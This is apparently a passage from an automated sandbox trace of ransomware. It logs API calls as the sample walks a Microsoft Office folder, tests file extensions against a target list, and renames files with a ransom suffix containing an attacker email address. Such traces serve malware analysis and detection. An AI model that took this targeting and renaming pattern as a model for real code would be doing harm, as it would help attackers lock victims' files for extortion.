lpString2=".dll") returned 1 [0188.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.223] lstrlenW (lpString=".zip") returned 4 [0188.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.223] lstrlenW (lpString=".rar") returned 4 [0188.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.223] lstrlenW (lpString=".bz2") returned 4 [0188.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.224] lstrlenW (lpString=".7z") returned 3 [0188.224] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.224] lstrlenW (lpString=".dbf") returned 4 [0188.224] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.224] lstrlenW (lpString=".1cd") returned 4 [0188.224] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.224] lstrlenW (lpString=".jpg") returned 4 [0188.224] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.224] lstrlenW (lpString=".doc") returned 4 [0188.224] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.224] lstrlenW (lpString=".docx") returned 5 [0188.224] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.224] lstrlenW (lpString=".pdf") returned 4 [0188.224] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.224] lstrlenW (lpString=".xls") returned 4 [0188.224] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.224] lstrlenW (lpString=".xlsx") returned 5 [0188.224] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.224] lstrlenW (lpString=".ppt") returned 4 [0188.224] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.224] lstrlenW (lpString=".zip") returned 4 [0188.224] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.224] lstrlenW (lpString=".rar") returned 4 [0188.224] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.224] lstrlenW (lpString=".bz2") returned 4 [0188.224] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.224] lstrlenW (lpString=".7z") returned 3 [0188.225] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.225] lstrlenW (lpString=".dbf") returned 4 [0188.225] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.225] lstrlenW (lpString=".1cd") returned 4 [0188.225] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0188.225] lstrlenW (lpString=".jpg") returned 4 [0188.225] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.225] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.225] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0188.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.226] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19648) returned 1 [0188.226] CloseHandle (hObject=0x4d4) returned 1 [0188.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0188.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.226] lstrlenW (lpString=".doc") returned 4 [0188.227] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.227] lstrlenW (lpString=".docx") returned 5 [0188.227] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.227] lstrlenW (lpString=".pdf") returned 4 [0188.227] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.227] lstrlenW (lpString=".xls") returned 4 [0188.227] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.227] lstrlenW (lpString=".xlsx") returned 5 [0188.227] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.227] lstrlenW (lpString=".ppt") returned 4 [0188.227] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.227] lstrlenW (lpString=".zip") returned 4 [0188.227] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.227] lstrlenW (lpString=".rar") returned 4 [0188.227] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.227] lstrlenW (lpString=".bz2") returned 4 [0188.227] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.227] lstrlenW (lpString=".7z") returned 3 [0188.227] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.227] lstrlenW (lpString=".dbf") returned 4 [0188.227] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.227] lstrlenW (lpString=".1cd") returned 4 [0188.227] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.227] lstrlenW (lpString=".jpg") returned 4 [0188.227] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.227] lstrlenW (lpString=".doc") returned 4 [0188.228] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.228] lstrlenW (lpString=".docx") returned 5 [0188.228] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.228] lstrlenW (lpString=".pdf") returned 4 [0188.228] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.228] lstrlenW (lpString=".xls") returned 4 [0188.228] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.228] lstrlenW (lpString=".xlsx") returned 5 [0188.228] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.228] lstrlenW (lpString=".ppt") returned 4 [0188.228] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.228] lstrlenW (lpString=".zip") returned 4 [0188.228] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.228] lstrlenW (lpString=".rar") returned 4 [0188.228] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.228] lstrlenW (lpString=".bz2") returned 4 [0188.228] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.228] lstrlenW (lpString=".7z") returned 3 [0188.228] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.228] lstrlenW (lpString=".dbf") returned 4 [0188.228] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.228] lstrlenW (lpString=".1cd") returned 4 [0188.228] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0188.228] lstrlenW (lpString=".jpg") returned 4 [0188.228] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.229] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.229] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0188.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.229] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=22720) returned 1 [0188.229] CloseHandle (hObject=0x4d4) returned 1 [0188.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0188.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.229] lstrlenW (lpString=".doc") returned 4 [0188.230] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.230] lstrlenW (lpString=".docx") returned 5 [0188.230] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.230] lstrlenW (lpString=".pdf") returned 4 [0188.230] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.230] lstrlenW (lpString=".xls") returned 4 [0188.230] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.230] lstrlenW (lpString=".xlsx") returned 5 [0188.230] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.230] lstrlenW (lpString=".ppt") returned 4 [0188.230] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.230] lstrlenW (lpString=".zip") returned 4 [0188.230] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.230] lstrlenW (lpString=".rar") returned 4 [0188.230] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.230] lstrlenW (lpString=".bz2") returned 4 [0188.230] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.230] lstrlenW (lpString=".7z") returned 3 [0188.230] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.230] lstrlenW (lpString=".dbf") returned 4 [0188.230] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.230] lstrlenW (lpString=".1cd") returned 4 [0188.230] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.230] lstrlenW (lpString=".jpg") returned 4 [0188.230] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.230] lstrlenW (lpString=".doc") returned 4 [0188.231] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.231] lstrlenW (lpString=".docx") returned 5 [0188.231] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.231] lstrlenW (lpString=".pdf") returned 4 [0188.231] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.231] lstrlenW (lpString=".xls") returned 4 [0188.231] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.231] lstrlenW (lpString=".xlsx") returned 5 [0188.231] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.231] lstrlenW (lpString=".ppt") returned 4 [0188.231] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.231] lstrlenW (lpString=".zip") returned 4 [0188.231] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.231] lstrlenW (lpString=".rar") returned 4 [0188.231] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.231] lstrlenW (lpString=".bz2") returned 4 [0188.231] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.231] lstrlenW (lpString=".7z") returned 3 [0188.232] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.232] lstrlenW (lpString=".dbf") returned 4 [0188.232] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.232] lstrlenW (lpString=".1cd") returned 4 [0188.232] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0188.232] lstrlenW (lpString=".jpg") returned 4 [0188.232] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.232] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.232] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0188.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.233] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19136) returned 1 [0188.233] CloseHandle (hObject=0x4d4) returned 1 [0188.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0188.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.233] lstrlenW (lpString=".doc") returned 4 [0188.233] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.234] lstrlenW (lpString=".docx") returned 5 [0188.234] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.234] lstrlenW (lpString=".pdf") returned 4 [0188.234] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.234] lstrlenW (lpString=".xls") returned 4 [0188.234] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.234] lstrlenW (lpString=".xlsx") returned 5 [0188.234] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.234] lstrlenW (lpString=".ppt") returned 4 [0188.234] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.234] lstrlenW (lpString=".zip") returned 4 [0188.234] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.234] lstrlenW (lpString=".rar") returned 4 [0188.234] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.234] lstrlenW (lpString=".bz2") returned 4 [0188.234] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.234] lstrlenW (lpString=".7z") returned 3 [0188.234] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.234] lstrlenW (lpString=".dbf") returned 4 [0188.234] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.234] lstrlenW (lpString=".1cd") returned 4 [0188.234] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.234] lstrlenW (lpString=".jpg") returned 4 [0188.234] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.234] lstrlenW (lpString=".doc") returned 4 [0188.234] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.235] lstrlenW (lpString=".docx") returned 5 [0188.235] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.235] lstrlenW (lpString=".pdf") returned 4 [0188.235] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.235] lstrlenW (lpString=".xls") returned 4 [0188.235] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.235] lstrlenW (lpString=".xlsx") returned 5 [0188.235] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.235] lstrlenW (lpString=".ppt") returned 4 [0188.235] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.235] lstrlenW (lpString=".zip") returned 4 [0188.235] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.235] lstrlenW (lpString=".rar") returned 4 [0188.235] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.235] lstrlenW (lpString=".bz2") returned 4 [0188.235] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.235] lstrlenW (lpString=".7z") returned 3 [0188.235] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.235] lstrlenW (lpString=".dbf") returned 4 [0188.235] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.235] lstrlenW (lpString=".1cd") returned 4 [0188.235] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0188.235] lstrlenW (lpString=".jpg") returned 4 [0188.235] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.235] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.236] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0188.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.236] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20672) returned 1 [0188.236] CloseHandle (hObject=0x4d4) returned 1 [0188.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0188.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0188.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0188.236] lstrlenW (lpString=".doc") returned 4 [0188.236] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.237] lstrlenW (lpString=".docx") returned 5 [0188.237] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.237] lstrlenW (lpString=".pdf") returned 4 [0188.237] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.237] lstrlenW (lpString=".xls") returned 4 [0188.237] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.237] lstrlenW (lpString=".xlsx") returned 5 [0188.237] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.237] lstrlenW (lpString=".ppt") returned 4 [0188.237] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0188.237] lstrlenW (lpString=".zip") returned 4 [0188.237] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.237] lstrlenW (lpString=".rar") returned 4 [0188.237] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.237] lstrlenW (lpString=".bz2") returned 4 [0188.237] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.237] lstrlenW (lpString=".7z") returned 3 [0188.237] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0188.237] lstrlenW (lpString=".dbf") returned 4 [0188.237] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0188.253] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.253] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 